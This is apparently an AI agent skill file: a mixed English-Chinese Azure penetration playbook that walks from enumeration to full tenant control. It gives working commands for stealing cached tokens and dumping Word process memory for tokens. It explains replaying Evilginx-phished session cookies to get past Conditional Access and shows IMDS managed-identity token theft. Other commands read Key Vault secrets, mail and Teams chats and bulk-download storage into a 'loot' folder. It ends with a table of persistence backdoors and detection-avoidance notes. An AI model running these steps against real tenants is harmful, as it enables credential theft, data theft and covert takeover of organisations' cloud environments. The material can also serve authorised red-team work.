Azure is the world's second-largest public cloud platform and is deeply tied to the Entra ID (formerly Azure AD) and Microsoft 365 ecosystems. Its attack surface presents a unique "three-layer structure"—the Entra ID identity layer (tenants, users, app registrations, Service Principals), the Azure Resource Manager resource layer (subscriptions, resource groups, RBAC), and the data layer (Blob Storage, Key Vault, SQL Database). Compared with AWS, Azure's core difference lies in the fact that the identity system (Entra ID) and the resource management system (ARM) are two independent authorization systems, and Entra ID's Global Administrator can take over all Azure subscriptions through elevateAccess. Sometimes we may obtain a credential through various methods, but this account may only be able to access the M365 suite such as Word, PowerPoint, and SharePoint applications, and may not necessarily be able to access Azure cloud subscription resources, so it needs to be manually confirmed. This skill uses attack phases as the main thread, organizing the complete penetration path from "zero credentials" to "full control."
In-depth Reference
After identifying the specific attack phase, load the corresponding reference document to obtain complete technical details:
- Unauthorized enumeration technique checklist (tenant discovery, subdomain enumeration, public Blob, user enumeration) → read references/unauthenticated-enum.md
- Persistence and post-exploitation technique checklist (Entra ID, Automation, VM, Key Vault, and 12+ services) → read references/persistence-techniques.md
Phase 0: Attack Surface Assessment
After obtaining an Azure-related target, first determine the type of asset currently in hand to decide which attack phase to enter:
当前持有什么？
├── 无任何凭据
│ ├── 有目标域名/公司名 → Phase 1（未授权枚举）
│ ├── 有 SSRF 漏洞（Azure VM/App Service/Functions）
│ │ └── 打 IMDS 169.254.169.254 获取 Managed Identity Token → Phase 2(目前这个方法不行了，因为如果想拿IMDS需要Metadata: true请求头,大部分的SSRF只能发 GET，且不能自定义 header,最理想的情况其实是命令执行会比较有可能多点现在)
│ └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 Azure 用户账号密码
│ ├── 能正常登录 → Phase 2（权限评估）
│ └── 被条件访问策略（CA）阻止 → 绕过 CA 或尝试 Service Principal
│ └── 如果是通过钓鱼比如Evilginx获得账号密码,由于Evilginx会收割目标的Cookie,账号密码，我们可以通过导入cookie绕过CA。这个逻辑很简单，比如你人在中国，但是目标账号经常在新加坡登录，现在突然从新加坡登录IP飞到中国容易收到CA登录阻止。但如果通过Evilginx收割会话，是让目标在这个会话中完成了一整套验证，微软会给该cookie打上验证完成无安全问题，因此我们如果导入该cookie可以绕过CA限制。
│
├── 有 Service Principal 凭据（Client ID + Client Secret / 证书 / Certificate Private Key (.pfx/.pem/.key)）
│ └── → Phase 2（注意：SP 通常不受 MFA/CA 限制）
│
├── 有 Access Token / Refresh Token
│ ├── Access Token → 直接使用（有效期通常 1 小时）
│ └── Refresh Token → 刷新获取新 Access Token → Phase 2
│
├── 在 Azure VM / App Service / Functions 内部
│ └── 查询 IMDS 获取 Managed Identity Token → Phase 2
│
└── 有开发者工作站访问权限
└── 检查 ~/.Azure/ 目录获取缓存凭据 → Phase 2
Azure Credential Type Quick Reference
| Credential Type | Identification Characteristics | Validity Period | Acquisition Method |
|---|---|---|---|
| User account password | user@tenant.onmicrosoft.com | Permanent (until modified; secondary confirmation is required to determine whether there is cloud access eligibility) | Leak/phishing/password spraying |
| Service Principal Secret | Client ID (GUID) + Secret (random string) | Configurable (default 2 years) | App registration/leak |
| Service Principal certificate | Client ID + PFX/PEM certificate | Certificate validity period | App registration/leak |
| Access Token | eyJ0eXAi... (JWT format) | Usually 1 hour | Authentication flow/IMDS/cache |
| Refresh Token | 0.ARMA... format | Maximum 90 days (sliding window) | Cache file/token theft |
| Managed Identity Token | JWT obtained through IMDS | 24 hours (automatic rotation) | Inside VM/App Service |
| SAS Token | sig=... parameter in URL | Configurable | Generated by Storage Account |
Credential cache files (developer workstation)
On a compromised developer machine, check the following paths to obtain Azure credentials:
# az CLI 缓存（Linux/macOS 明文存储）
cat ~/.Azure/azureProfile.json # 登录用户信息
cat ~/.Azure/msal_token_cache.json # Access Token + Refresh Token
cat ~/.Azure/service_principal_entries.json # SP 凭据（仅 Linux/macOS）
# Az PowerShell 缓存
pwsh -Command "Save-AzContext -Path /tmp/az-context.json"
# Windows DPAPI 加密（需解密）
# C:\Users\<user>\.Azure\service_principal_entries.bin
# C:\Users\<user>\.Azure\msal_token_cache.bin
# C:\Users\<user>\AppData\Local\Microsoft\IdentityCache\*.bin
# C:\Users\<user>\AppData\Local\Microsoft\TokenBroker\Cache\*.tbres
#还有另外一种方法，有点类似与取证技巧,先观察是微软全家桶比如word是否在运行,在用户登录后，会代表用户去访问云服务，比如 Microsoft Graph 或 Outlook 相关接口（如 outlook.office365.com）。为了避免每次都重新登录，这些访问用到的 access token 会被缓存到本地，路径就是 %LOCALAPPDATA%\Microsoft\TokenBroker\Cache。也就是说，只要用户在这台机器上用过 Office 登录过 365，你其实有机会“捡现成的 token”,但注意前提是你有admin权限
Get-Process -IncludeUserName | Format-Table -AutoSize -Wrap
#如果发现word在运行用procdump去导一下
procdump.exe -mp id -accepteula
#然后再用string去分析.dmp文件是否包含token特征比如eyJ0ex.....
strings.exe WINWORD.EXE_260425_074224.dmp -accepteula | findstr /i eyJ0eX
Phase 1: Unauthorized Enumeration
Without any Azure credentials, a large amount of information can still be collected on the target tenant. Azure's public APIs and subdomain structure provide a rich enumeration surface.
High-value enumeration targets
| Target | Attack Method | Value |
|---|---|---|
| Tenant information | login.microsoftonline.com public API | Tenant ID, domain, SSO configuration |
| User enumeration | AADInternals / o365spray | Valid account list → password spraying |
| Subdomains | MicroBurst enumerates 20+ Azure subdomains | Discover exposed service endpoints |
| Blob Storage | Public container enumeration | Data leaks, credential files |
| App Service | azurewebsites.net endpoints | Web exploitation → Managed Identity |
| Azure Functions | Public HTTP triggers | Code injection/SSRF → Managed Identity |
| Azure DevOps | dev.azure.com public projects | Code leaks, Pipeline credentials |
Quick Tenant enumeration
# 使用 AADInternals 获取 Tenant 全貌
Install-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com | Format-Table
# 获取 Tenant ID
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" | jq '.token_endpoint' | grep -oP '[a-f0-9-]{36}'
# 枚举 Tenant 下所有域名
Get-AADIntTenantDomains -Domain target.com
# 检查用户是否存在
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@target.com"
Subdomain and Blob enumeration
# MicroBurst 子域枚举（覆盖 20+ Azure 域后缀）
Import-Module MicroBurst
Invoke-EnumerateAzureSubDomains -Base targetcorp -Verbose
# Blob 公开容器枚举
Invoke-EnumerateAzureBlobs -Base targetcorp
# 手动检查 Blob 容器
curl -s "https://targetcorp.blob.core.windows.net/backup?restype=container&comp=list"
→ Complete list of unauthenticated enumeration techniques, read references/unauthenticated-enum.md
Phase 2: Credential validation and permission assessment
After obtaining credentials, the first step is to validate their validity and assess the scope of permissions. Azure has two independent authorization systems, Entra ID and ARM, which need to be enumerated separately.
2.1 Identity confirmation
# az CLI — 确认当前身份
az account show # 当前订阅和租户
az ad signed-in-user show # 当前 Entra ID 用户信息
# 列出可访问的所有订阅
az account list --output table
#列出当前能访问的资源
Get-AzResource
#获得当前被分配的角色
Get-AzRoleAssignment
# Az PowerShell
Get-AzContext # 当前上下文
Get-AzSubscription # 可访问的订阅
# 如果是 Service Principal
az login --service-principal -u CLIENT_ID -p SECRET --tenant TENANT_ID
2.2 Permission and service enumeration
# ARM 层：查看当前用户在订阅上的角色
az role assignment list --assignee "USER_OBJECT_ID" --all --output table
# ARM 层：查看对特定资源的权限
az rest --method GET \
--url "https://management.azure.com/{resource_id}/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
# ARM 层：枚举可见资源
az resource list --output table
# 或
Get-AzResource
# 查看某个角色的定义，如果遇到自定义角色
az role definition list --name "ROLE_NAME"
# 列出所有 Key Vault 实例
az keyvault list
# 列出指定 Key Vault 中的所有 Secret 名称
az keyvault secret list --vault-name VAULT_NAME
# 读取指定 Secret 的值
az keyvault secret show --id https://VAULT_NAME.vault.azure.net/secrets/SECRET_NAME
# 列出当前订阅下所有虚拟机
az vm list
# 获取指定虚拟机的公网和私网 IP 地址
az vm list-ip-addresses -g RESOURCE_GROUP -n VM_NAME
# 远程在目标 VM 上执行 Shell 命令。需要 VM RunCommand 权限
az vm run-command invoke -g RESOURCE_GROUP -n VM_NAME \
--command-id RunShellScript \
--scripts "whoami"
# PowerShell 版本远程执行命令
Invoke-AzVMRunCommand -VMName vm -ResourceGroupName rg -CommandId RunShellScript -ScriptString "whoami"
# 列出当前订阅中的所有 Storage Account
Get-AzStorageAccount
#列出指定存储账户中的容器
Get-AzStorageContainer -Context $storageAccount.Context
#列出容器中的 Blob 文件
Get-AzStorageBlob -Container “xx” -Context $storageAccount.Context
#列出所有 Automation Account
az automation account list
#列出 Automation Account 中的所有 Runbook
Get-AzAutomationRunbook -ResourceGroupName RG -AutomationAccountName AA
#执行指定 Runbook。 若绑定高权限身份可实现提权
Start-AzAutomationRunbook
#查看当前 Azure 订阅或指定 Scope 下的 Azure Lighthouse 注册分配
Get-AzManagedServicesAssignment | Format-List *
#列出订阅中的公网 IP 资源
az network public-ip list
#列出所有网络安全组
az network nsg list
#查看指定 NSG 的规则详情
Get-AzNetworkSecurityGroup -Name xx
#获取ADO token 如果是用户名密码凭证 这里的499bxx就是dev ops id
ADO_TOKEN=$(az account get-access-token --resource 499b84ac-1321-427f-aa17-267ca6975798 --query accessToken -o tsv)
#枚举项目
curl -s -H "Authorization: Bearer $ADO_TOKEN" "https://dev.azure.com/<组织名>/_apis/projects?api-version=7.0"
#读取repo
curl -s -H "Authorization: Bearer $ADO_TOKEN" "https://dev.azure.com/<组织名>/<项目>/_apis/git/repositories?api-version=7.0"
#读取特定repo里面内容
curl -s -H "Authorization: Bearer $ADO_TOKEN" \
"https://dev.azure.com/<组织名>/<repo 名>/_apis/git/repositories?api-version=7.0"
#用ado token作为密码克隆项目代码到本地
git clone https://用户名%40域名.com:$ADO_TOKEN@dev.azure.com/<组织名>/<repo 名>/_git/<repo 名>
#Entra ID 层 graph 枚举,首先是连接 token可以去访问myapps.microsoft.com然后点开dev tool输入graph.关键词过滤定位
Connect-MgGraph -AccessToken (<graph-token> | ConvertTo-SecureString -AsPlainText -Force)
Get-MgContext
#读取所有user
Get-MgUser -All
#列出当前所有组
Get-MgGroup
#列出租户中注册的Application Registration
Get-MgApplication -All
#列出租户中的 Service Principal（企业应用）
Get-MgServicePrincipal
#根据显示名称查找指定 Service Principal
Get-MgServicePrincipal -Filter "DisplayName eq '<name>'"
#查询这个 Service Principal 拥有哪些 Azure AD 对象
Get-MgServicePrincipalOwnedObject -ServicePrincipalId <sp-id>
#列出某个 Administrative Unit（管理单元，AU） 里的所有成员
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId <au-id> -All
#出 Entra ID 里的 Conditional Access Policies（条件访问策略）
Get-MgIdentityConditionalAccessPolicy
#查看租户级别的 Authentication Methods Policy（认证方法策略）
Get-MgPolicyAuthenticationMethodPolicy
#查看某个指定 Group 的详细信息
Get-MgGroup -GroupId <group-id>
#列出某个 group 里的成员
Get-MgGroupMember -GroupId <group-id>
#获取指定用户邮箱中的邮件
Get-MgUserMessage -UserId <user-upn>
#列出当前身份有权限访问的所有 Microsoft Teams Chat
Get-MgChat | Format-List
#读取某一个 Chat 里面的所有消息
Get-MgChatMessage -ChatId <chat-id> | Format-List
#读取某一条 Teams 消息的正文
(Get-MgChatMessage -ChatId <chat-id> -ChatMessageId <message-id>).Body.Content
# Entra ID 层：枚举目录角色
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/me/memberOf" | jq '.value[].displayName'
# 自动化权限发现
# Find_My_Az_Management_Permissions — 自动枚举所有资源权限
python3 Find_My_Az_Management_Permissions.py
2.3 Permission assessment decision tree
当前身份权限如何？
├── Entra ID Global Administrator
│ ├── 已可管理所有 Entra ID 资源
│ └── 通过 elevateAccess 接管所有 Azure 订阅 → Phase 4
│
├── 有特定 Entra ID 角色（Application Admin/Cloud App Admin/...）
│ └── 检查是否可操控应用注册/Service Principal → Phase 3 (Entra 提权)
│
├── 有 Azure Owner/Contributor 角色
│ ├── 在特定订阅/资源组范围 → 直接操作资源 → Phase 4
│ └── 尝试横向到其他订阅 → Phase 3
│
├── 有特定服务权限（如 Microsoft.Compute/virtualMachines/*）
│ ├── 检查是否可操控 Managed Identity → Phase 3
│ └── 直接利用当前权限进行后渗透 → Phase 4
│
└── 权限极低 → 尝试利用默认 Entra ID 读权限枚举所有用户/组/应用
└── 寻找提权路径 → Phase 3
Refer to cloud-iam-audit skill for cross-cloud IAM auditing
2.4 Automated auditing tools
| Tool | Purpose | Command |
|---|---|---|
| AzureHound | Azure attack path graph (BloodHound ecosystem) | azurehound list -t TENANT_ID --refresh-token RT |
| ROADtools | Full Entra ID enumeration and analysis | roadrecon auth -u USER -p PASS && roadrecon gather && roadrecon gui |
| ScoutSuite | Multi-cloud security audit report | scout azure --cli |
| Prowler | Azure security best practices check | prowler azure |
| MicroBurst | Azure enumeration and attack toolkit | Import-Module MicroBurst |
| PowerZure | Azure exploitation framework | Import-Module PowerZure |
| AADInternals | Entra ID deep exploitation | Install-Module AADInternals |
| GraphRunner | Microsoft Graph API exploitation | Import-Module GraphRunner |
Phase 3: Privilege escalation
Azure privilege escalation occurs at two levels: Entra ID identity layer privilege escalation and ARM resource layer privilege escalation. The two are independent of each other but can be transformed into each other—Entra ID Global Admin can obtain ARM Owner through elevateAccess, and conversely, certain permissions at the ARM layer can manipulate Entra ID objects.
Entra ID layer privilege escalation
Refer to azure-ad-attack skill to obtain an in-depth guide to Entra ID privilege escalation and attacks
Core privilege escalation paths:
| Privilege escalation path | Key role/permission | Principle |
|---|---|---|
| App registration key injection | Application Admin / Cloud App Admin | Add a new Secret/certificate to a highly privileged application and log in as the SP |
| Conditional Access policy bypass | — | SP logins are usually not restricted by CA, and IP/geographic restrictions can be bypassed |
| Directory role abuse | Privileged Role Admin | Assign the Global Admin role to yourself |
| Dynamic group abuse | — | Modify user attributes to match dynamic group rules and inherit the group's role assignments |
| Administrative unit escape | Helpdesk Admin outside a restricted AU | Reset the password of an administrator not protected by the AU |
| Consent Grant attack | Application consent permission | Induce an administrator to consent to a highly privileged OAuth application |
ARM resource layer privilege escalation decision table
| Privilege escalation path | Key ARM permission | Principle |
|---|---|---|
| Role assignment write | Microsoft.Authorization/roleAssignments/write |
Assign the Owner role to yourself |
| Role definition modification | Microsoft.Authorization/roleDefinitions/Write |
Modify the Actions of an assigned role to * |
| elevateAccess | Global Admin + elevateAccess/action |
GA elevated to root-scope User Access Admin |
| Managed Identity binding | Service write permission + ManagedIdentity/assign/action |
Bind a high-privilege MI to a controllable resource |
| Automation Runbook | Automation/automationAccounts/jobs/write |
Execute code via Runbook to obtain MI Token |
| VM command execution | Compute/virtualMachines/extensions/write |
CustomScript Extension executes commands in the VM |
| Function App code overwrite | Storage write permission (File Share/Blob) | Modify function code to obtain the bound MI Token |
| App Service SSH | Web/sites/publish/Action |
SSH into App Service to obtain environment variables and MI |
| Key Vault policy modification | KeyVault/vaults/write |
Modify access policy to obtain Secret/Key/Cert |
| Logic App backdoor | Logic/workflows/write |
Use MI to perform arbitrary Azure API operations |
Managed Identity privilege escalation core flow
Managed Identity is the most critical pivot in Azure privilege escalation (similar to AWS PassRole). If an attacker can execute code in a resource bound to a high-privilege MI, they can obtain that MI's Token:
攻击者拥有: Automation Account 写权限 + 目标 MI 绑定在该 Account
│
├─ 1. 创建/修改 Runbook，代码中请求 MI Token
│ $token = (Invoke-WebRequest -Uri "$env:IDENTITY_ENDPOINT?resource=https://management.azure.com/" \
│ -Headers @{X-IDENTITY-HEADER=$env:IDENTITY_HEADER}).Content
├─ 2. 执行 Runbook
└─ 3. 获取高权限 MI Token → 接管目标资源
# VM 内部获取 Managed Identity Token（通过 IMDS）
curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# App Service / Functions 内部获取 MI Token
curl -s -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"
Phase 4: Lateral Movement
Lateral movement in an Azure environment occurs in three dimensions:
Cross-subscription movement:
- Exploit role inheritance at the Management Group level
- Exploit cross-subscription Managed Identity assignment
- Exploit shared Key Vault / Storage Account
Cross-service movement:
- VM CustomScript Extension → lateral to other VMs
- Automation Hybrid Worker → from cloud to OnPrem machines
- App Service / Functions → access other services via MI
Cloud-to-OnPrem movement:
- Azure AD Connect → sync server → domain controller
- Hybrid Worker → OnPrem network
- Azure AD PHS/PTA/Federation → OnPrem AD
Refer to azure-hybrid-lateral skill for an in-depth guide to Cloud-to-OnPrem lateral movement
Phase 5: Post-Exploitation and Persistence
After obtaining higher privileges, enter the post-exploitation phase.
5.1 Data Discovery and Acquisition
优先搜索哪些数据源？
├── Key Vault → 密码、证书、API 密钥、连接字符串
├── Blob Storage → 文档、备份、日志、配置文件
├── SQL Database / Cosmos DB → 业务数据
├── App Service / Functions 环境变量 → 数据库连接串、第三方 API 密钥
├── Automation Account 变量/凭据 → 加密变量、存储的凭据
└── Azure DevOps → 代码仓库、Pipeline 密钥、Variable Groups
# 列出 Key Vault 密钥
az keyvault list --output table
az keyvault secret list --vault-name VAULT_NAME --output table
az keyvault secret show --vault-name VAULT_NAME --name SECRET_NAME
# 列出 Storage Account 并下载敏感文件
az storage account list --output table
az storage account keys list --account-name ACCOUNT_NAME
az storage blob download-batch -d ./loot -s CONTAINER --account-name ACCOUNT_NAME
# 获取 App Service 环境变量（含数据库连接串等）
az webapp config appsettings list --name APP_NAME --resource-group RG
# 获取 Automation Account 变量
az automation variable list --automation-account-name ACCT --resource-group RG
5.2 Overview of Persistence Techniques
| Service | Persistence Method | Stealthiness |
|---|---|---|
| Entra ID application registration | Add Secret/certificate to a high-privilege application, create a new OAuth application | Medium |
| Service Principal | Create Federated Identity Credential (trust external IdP) | High |
| Federation | Add trusted domain + forge Token (Golden SAML variant) | High |
| Automation Account | Runbook backdoor + Schedule/Webhook timed trigger | Medium |
| VM | Custom Script Extension, User Data backdoor, SSH Key injection | Medium |
| Cloud Shell | .bashrc / PS Profile backdoor (persistent storage) | High |
| Key Vault | Modify access policy to retain access, extract keys for external use | Medium |
| Storage Account | Generate long-term SAS Token, save Access Key | High |
| Logic App | Backdoor Workflow + SAS URL trigger | High |
| SQL Database | Create backdoor SQL user, firewall rules | Medium |
| Azure DevOps | PAT creation, Pipeline injection, Service Connection backdoor | High |
→ Complete list of 12+ service persistence techniques, read references/persistence-techniques.md
Appendix: Azure Quick Reference
Common az CLI commands
# 身份与权限
az account show # 当前上下文
az account list --output table # 所有可访问订阅
az ad signed-in-user show # 当前用户
az role assignment list --assignee "ID" --all # 角色分配
# 枚举资源
az resource list --output table # 所有可见资源
az vm list --output table # VM 列表
az webapp list --output table # App Service 列表
az functionapp list --output table # Function App 列表
az keyvault list --output table # Key Vault 列表
az storage account list --output table # Storage Account 列表
# 凭据操作
az login --service-principal -u CID -p SECRET --tenant TID # SP 登录
az account get-access-token --resource https://management.azure.com/ # 获取 Token
#PS登录方式
$passwd = ConvertTo-SecureString "<密码>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("邮箱", $passwd)
Connect-AzAccount -Credential $creds
#获得token并连接MgGraph:
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token
Connect-MgGraph -AccessToken ($Token | ConvertTo-SecureString -AsPlainText -Force)
# IMDS（从 VM 内部）
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq .
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Azure and AWS concept comparison
| Azure concept | AWS equivalent | Description |
|---|---|---|
| Entra ID (Azure AD) | IAM + Organizations | Identity management, but Azure is independent of resource management |
| Tenant | Account (root) | Top-level identity container |
| Subscription | Account (member) | Billing and resource isolation unit |
| Resource Group | — (no direct equivalent) | Logical grouping of resources |
| Management Group | Organizational Unit (OU) | Hierarchical management structure |
| RBAC Role | IAM Policy | Permission control |
| Service Principal | IAM Role (for service) | Service identity |
| Managed Identity | EC2 Instance Profile / Lambda Role | Automatic credential management |
| Key Vault | Secrets Manager + KMS | Key and credential management |
| App Service | Elastic Beanstalk / App Runner | Managed web apps |
| Azure Functions | Lambda | Serverless computing |
| Blob Storage | S3 | Object storage |
Notes
Azure Activity Log audit awareness: All ARM management plane operations are recorded by Activity Log (retained for 90 days). The following operations are highly visible:
- Role assignment changes (roleAssignments/write)
- Resource creation/deletion
- Policy modification
Entra ID's Sign-in Log and Audit Log record all identity authentication events and directory changes.
Microsoft Defender for Cloud detects risks:
- Anomalous IP sign-ins
- Brute force / password spraying
- Suspicious role assignments
- Anomalous resource creation (mining detection)
- Anomalous Key Vault access patterns
Microsoft Sentinel advanced detection: If the target has Sentinel SIEM enabled, custom analytics rules may detect:
- Anomalous Service Principal sign-in patterns
- Anomalous Automation Runbook execution
- Cross-subscription lateral movement patterns
Rate limits: Azure Resource Manager has request limits per subscription (12,000 reads/hour, 1,200 writes/hour). Graph API has similar limits. Pay attention to throttling during large-scale enumeration.
Refer to the azure-ad-attack skill for an in-depth guide to Entra ID attacks and privilege escalation
Refer to the azure-hybrid-lateral skill for Cloud-to-OnPrem lateral movement methodology
Refer to the cloud-iam-audit skill for cross-cloud IAM auditing and policy analysis